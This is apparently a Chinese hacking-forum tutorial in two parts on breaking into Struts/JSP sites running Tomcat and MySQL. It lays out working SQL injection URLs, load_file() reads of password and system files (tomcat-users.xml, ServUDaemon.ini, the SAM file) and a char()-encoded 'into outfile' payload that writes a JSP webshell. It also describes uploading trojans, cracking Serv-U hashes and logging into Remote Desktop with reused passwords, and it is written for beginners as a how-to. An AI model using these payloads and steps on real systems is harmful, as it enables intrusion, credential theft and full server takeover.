作者:skyfire[B.H.S.T]

入侵要点:

找到注入点
暴露网站页面绝对路径
利用mysql的load_file()读取网站配置信息找到管理后台
上传webshell

了解一下 Struts和.do :

首先了解一下什么是Struts。Struts是Apache基金会Jakarta项目组的一个Open Source项目,是一种优秀的J2EE MVC架构方式,它利用taglib获得可重用代码和抽象 Java 代码,利用ActionServlet配合Struts-config.xml实现对整个系统导航。增强了开发人员对系统的整体把握,提高了系统的可维护 性和可扩充性。

Struts的核心是Controller,即ActionServlet,而ActionServlet的核心就是Struts- config.xml,Struts-config.xml集中了所有页面的导航定义。关于sstruts更加详细的内容可以到以下地址浏览:

http://www.cn-java.com/www1/?action-viewnews-itemid-2207

http://www.chinaitlab.com/www/techspecial/struts/

http://www.ibm.com/developerworks/cn/java/j-struts/

.do文件是一个网页后台程序,它实际不是一个文件,并没有一个真正的.do文件存在,它不能直接打开 ,struts使用一个特殊的servlet作为“交换机”,将来自web浏览器的请求转到相应的serverpage。在开发web应用时有一个必须要 写的部署描述文件(web-inf/web.xml)。这个文件描述了你的web应用的配置,包括欢迎页面(welcome pages)(当请求没有指定时,出现在目录下的文件)、servlet(路径或者扩展名)和那些servlets的参数的映射。在这个文件中,你配置 struts actionservlet作为一个操控所有指定映射(通常以.do为扩展名)请求的servlet——这就是“交换机”。

可以通过下面地址的内容更加清楚的明白.do文件:

http://topic.csdn.net/u/20071009/11/D16FB438-4A2A-47E2-A03A-F62366C8F064.html

访问xx.do页面实际就是访问xx.jsp文件,但是使用了struts技术的网站,直接访问xx.jsp是不会被Tomcat、Resin等web服务器解析的。
xx.do页面目录下必有web-inf文件夹,存放Struts-config.xml!!

下面开始转入主题:

1、打开目标站点,发现是jsp类型网站,页面后缀名称是.do和.jsp,打开页面

http://www.site.com.cn:8081/newslistAction.do?type=1

输入标点 ‘,根据页面返回的内容,发现网站是基于Apache Tomcat/5.0.28 的web服务器。

2、寻找注入点,打开“产品中心”-“网络防火墙”-打开一种产品的介绍

http://www.site.com.cn:8081/showproAction.do?id=47

试试是否能手工注入,根据对此站点的了解,数据库应该是mysql或者oracle,oracle那种大玩意我们就不敢碰了,先试试看是不是mysql ,

http://www.site.com.cn:8081/showproAction.do?id=47 and ord(mid(version(),1,1))>51

页面正常,说明是mysql,而且mysql的版本是4.0以上,可以使用union查询,下面爆一下字段数:

http://www.site.com.cn:8081/showproAction.do?id=47′ and 1=2 union select 1,2/* 页面出错;
http://www.site.com.cn:8081/showproAction.do?id=47′ and 1=2 union select 1,2,3/* 页面出错;
…..

http://www.site.com.cn:8081/showproAction.do?id=47′%20and%201=2%20union%20select%201,2,3,4,5,6,7/*

页面正常,而且页面内容显示出我们想要的数字!!
mysql注入爆字段有个技巧,不需要这么麻烦进行猜测,可以利用order by 暴字段数,例如:

http://www.site.com.cn:8081/showproAction.do?id=47′ order by 7/* 页面正常;
http://www.site.com.cn:8081/showproAction.do?id=47′ order by8/* 页面出错,说明共有7个字段

3、既然知道了是mysql数据库,也找到了注入点,当然是拿出php注入工具,这里使用的是海洋顶端网PHP注射工具,获取数据库的一些信息,更加重要的使用load_file()函数。

对于mysql数据库来说,root用户默认只能在本机登陆,就不要指望使用空密码连接3306端口远程登录mysql数据库。

现在还不知道操作系统是windows还是linux,如果系统没有做用户权限设置,可以用load_file()函数试 试,load_file(‘/etc/password’),load_file(‘c:\boot.ini’),竟然是windows 2000 Server!看来网站架构应该就是windows 2000 server+tomcat+mysql,不要指望IIS了。

4、.继续注入,看能不能找到网站管理员帐号和密码。拿出近来比较出风头的注入工具pangolin(穿山甲),输入注入地址

http://www.site.com.cn:8081/showproAction.do?id=47

数据库当然是mysql了,注入字符类型是int型,晕,跑了半天竟然跑不出东西来,数据表也猜测不到东西,看来用工具猜测获得数据库的管理员帐号和密码是不太现实了,再想想其他办法咯。

5、如果知道页面文件在硬盘的绝对路径,当然可以load_file()查看页面源代码,关键是怎么暴露出页面 的地址呢?如果是php页面还可以构造一些sql语句导致查询出错而暴露出web页面绝对路径,但现在是tomcat,页面执行出错的时候都是 tomcat该死的调试信息霸占住页面。试试啊D注入工具的管理入口搜索,结果发现的只有tomcat的默认管理页面,没有配置过的tomcat管理界面 是登陆不了的。继续搜索,无意中打开了

http://www.site.com.cn:8081/manager/

http://www.site.com.cn:8081/jiehe/

可以列目录哦,不过看不到什么有价值的页面地址。

6、试试工具wwwscan,一个支持SSL的命令行CGI扫描器,据说收集了很多敏感的目录文件,终于访问 http://www.site.com.cn:8081\\com3的时候,错误页面暴露出来网站的路径:F:\Tomcat 5.0\webapps\ROOT\com3 (系统找不到指定的文件),那说明tomcat的虚拟目录路径就是

F:\Tomcat 5.0\webapps\ROOT\

绿盟漏洞库(http://www.nsfocus.net/vulndb/9875)是这样描述此漏洞的:
DApache Tomcat MS-DOS设备名远程拒绝服务漏洞:

Apache Tomcat在处理畸形的用户请求时存在漏洞,远程攻击者可以利用这个漏洞对服务程序执行拒绝服务攻击,使合法用户无法正常访问服务。当用户发送MS-DOS设备名加“.jsp”的文件请求到服务器时,会导致服务程序发生拒绝服务。

7、既然知道了网站的虚拟路径,那么剩下的就是利用load_file()看页面代码咯。先试试load_file(“index.php”),可惜看不到什么有价值的信息,那么看看tomcat的配置文件,

F:\Tomcat 5.0\conf\server.xml

如果网站虚拟目录移动到其他路径不在tomcat安装目录下,在server.xml中会有新的虚拟目录信息,但此时没有什么有用的信息。试试

F:\Tomcat 5.0\webapps\root\web-inf\struts-config.xml

整个站点的页面路径都出来了!

8、http://www.site.com.cn:8081 /usereditAction.do?id=1,显示修改管理员密码的页面,不用用户身份验证就可以访问页面也就不说了,更要命的是天上掉下馅 饼:html代码里面竟然还可以看见用户帐户和密码!!继续在struts-config.xml找后台管理界面登陆页面,终于发现是后台登陆地址是

http://www.site.com.cn:8081/siteadmin/login.jsp

9、google搜索并找到一个:JFolder.jsp,用网站后台功能上传jsp木马,上传成功,根据网站内其它已上传图片的路径,直接访问

http://www.site.com.cn:8081//dir/

上传文件新名称,得到webshell!!

10、总结:在本次入侵中,网站存在注入点,然后通过struts-config.xml找到网站的管理后台地 址,然后又暴露出管理员的帐号和密码,实属运气,否则还需要花费很大力气去猜解管理表名称以及管理员帐号和密码后才能顺利进入管理后台并上传jsp木马形 成webshell,总而言之,网站系统的防护缺陷包括有:网站系统存在注入点、服务器没有进行用户权限设置、网站后台某些管理页面没有进行用户认证、上 传页面可以上传任意类型文件。

在wwwscan的扫描结果中已经发现了上传页面,并且能上传任意文件,但是还需要猜解到文件传上去后的路径是img还是dir或者是其它路径然后 才能访问到此jsp木马,但本次入侵主要还是利用了struts的配置文件struts-config.xml来获得webshell!

写的比较乱一点,不要介意啊。

入侵基于java Struts的JSP网站(续)

作者:sai52[B.H.S.T]

给朋友帮忙检测一个jsp的站点,mysql数据库。已知存在注入点,用order by 猜出了字段是15个,其他就什么有用的信息都没暴出来。union查询的时候,字段数正确但不显示正常画面。


嘿嘿,别让错误信息给骗了,实际上还是能union查询的,就在“10”的那个位置。

查询得知MYSQL版本是4.1.19,root权限,可读文件(如果知道路径的话)。

狠狠地扫了它一遍(这里要注意,用wwwscan扫ip和扫网址得到的结果不同,要扫2次)。



得到很多有用的信息,其中包括:

网站的物理路径:D:\china\
网站后台登陆地址:http://www.site.org.cn/admin/login.jsp
TOMCAT的后台登陆地址:http://xxx.xx.xxx.xx/admin/

1. 用into outfile导出一句话webshell

注入点能够使用union,有File权限,知道了网站的物理路径,jsp又没有类似magic_quotes_gpc = on这样的设置,正适合用into outfile导出一句话webshell。

http://www.site.org.cn/XXXXMessage.jsp?id=7676%20and%201=2%20union%20select%200,1,2,3,4,5,6,7,8,9,char(60,37,32,105,102,40,114,101,113,117,101,115,116,46,103,101,116,80,97,114,97,109,101,116,101,114,40,34,102,34,41,33,61,110,117,108,108,41,40,110,101,119,32,106,97,118,97,46,105,111,46,70,105,108,101,79,117,116,112,117,116,83,116,114,101,97,109,40,97,112,112,108,105,99,97,116,105,111,110,46,103,101,116,82,101,97,108,80,97,116,104,40,34,92,34,41,43,114,101,113,117,101,115,116,46,103,101,116,80,97,114,97,109,101,116,101,114,40,34,102,34,41,41,41,46,119,114,105,116,101,40,114,101,113,117,101,115,116,46,103,101,116,80,97,114,97,109,101,116,101,114,40,34,116,34,41,46,103,101,116,66,121,116,101,115,40,41,41,59,32,37,62),11,12,13,14%20into%20outfile%20′D:\\china\\19h.jsp’/*

第一次没有成功,不知道哪里出错,导出的jsp-webshell不能正常使用,后来发现导出的webshell有15M那么大。(=_=!)

虽然失败了,不过访问导出的webshell,页面出错却暴出了TOMCAT的物理路径 D:\Tomcat 5.0\ 。:)

再次导出jsp-webshell,这次成功了,利用一句话webshell上传了个大马。查看得到的一句话webshell内容如图

查看权限,是system。

本该结束了,不过一时性起,就把能想到的手段都用了一遍(闲的)。(=_=!)
PS:后面的方法都没有利用之前得到的webshell。

2.读取TOMCAT后台密码登陆TOMCAT管理后台

刚才无意中暴出TOMCAT的物理路径 D:\Tomcat 5.0\ ,又知道TOMCAT的后台登陆地址,接下来当然是直接load_file()读取tomcat-user.xml文件了。(TOMCAT密码文件,默认 保存在 TOMCAT目录下\conf\tomcat-user.xml)

读到密码,顺利登陆/admin 目录。

TOMCAT在/admin 目录下的利用只能遍历一下目录,需要和其他方法结合才好用。
而能直接得到webshell的/manager/html目录,因为8080端口登陆不上去,这里就略过了。

3.读取ServUDaemon.ini破解密码利用ftp上传webshell

开始想load_file()读取

C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk

文件,直接得到serv-u的安装路径的,结果猜错了路径,没有读到(后来发现是在 C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U FTP Server\Serv-U Administrator.lnk),只好按默认路径猜,在猜到 C:\Program Files\Serv-U\ 的时候读出了ServUDaemon.ini的内容,拿加密的密码到cmd5.com去反查,没有查出来,想想cmd5.com的密码范围包括12位以下 数字、8位字母、全部7位及以下字母加数字的组合,而serv-u的密文前面两位字母是已知的,那么这个密码的可能范围就是

① 纯字母且大于6位
② 纯数字且大于5位
③ 字母+数字组合且大于5位

只要不是第3种,暴力破解还是比较有可能的,于是拖出md5crake_V4暴破,结果几秒钟就得到了密码明文。(=_=!)

ftp上传了个jsp的webshell,就解决了。

4.连接MYSQL插入导出一句话webshell

试试load_file()网站的数据库连接文件,顺藤摸瓜没费什么力气就找到了。

login.jsp 文件内容

include.jsp文件内容

dbconf.jsp文件内容

mysql连上去,建表–插入–导出webshell

成功导出了一个jsp一句话webshell到网站目录,之后顺利上传了个大马。

5.load_file()读取c:\windows\repair\sam ,导入LC5破解管理员密码

具体步骤就不细说了,不会方法的朋友请参见文章《MYSQL注入中load_file()函数的进一步应用》
http://www.sai52.com/archives/616/)

# 鬼仔:本站的地址 http://huaidan.org/archives/2613.html

一边破解,一边试试社会工程学。用之前得到的ftp密码和TOMCAT后台登陆密码试着登陆服务器的3389,结果用TOMCAT后台登陆密码成功登陆服务器的终端服务。

6.union查询网站后台登陆密码

因为是Struts,load_file()查看源文件查不到表名(封装了),猜表名也没蒙对(后来连接数据库查看发现表名前面有自定义前缀),如 果利用TOMCAT后台建立虚拟目录的方法来遍历,之后用load_file()下载.class文件反编译的方式查看的话,工程实在太大了,所以我没有 试。

检测到这里就结束了。这是个pr值为6的网站,存在如此明显而具杀伤力的漏洞,我想大家浏览网页的时候是不是要考虑多装几个杀软。(=_=!)

本文没什么技术含量,只是提供了思路,希望对新手朋友们有用。

相关文章

本文还暂无回复

添加回复

支持 Ctrl+Enter 快速提交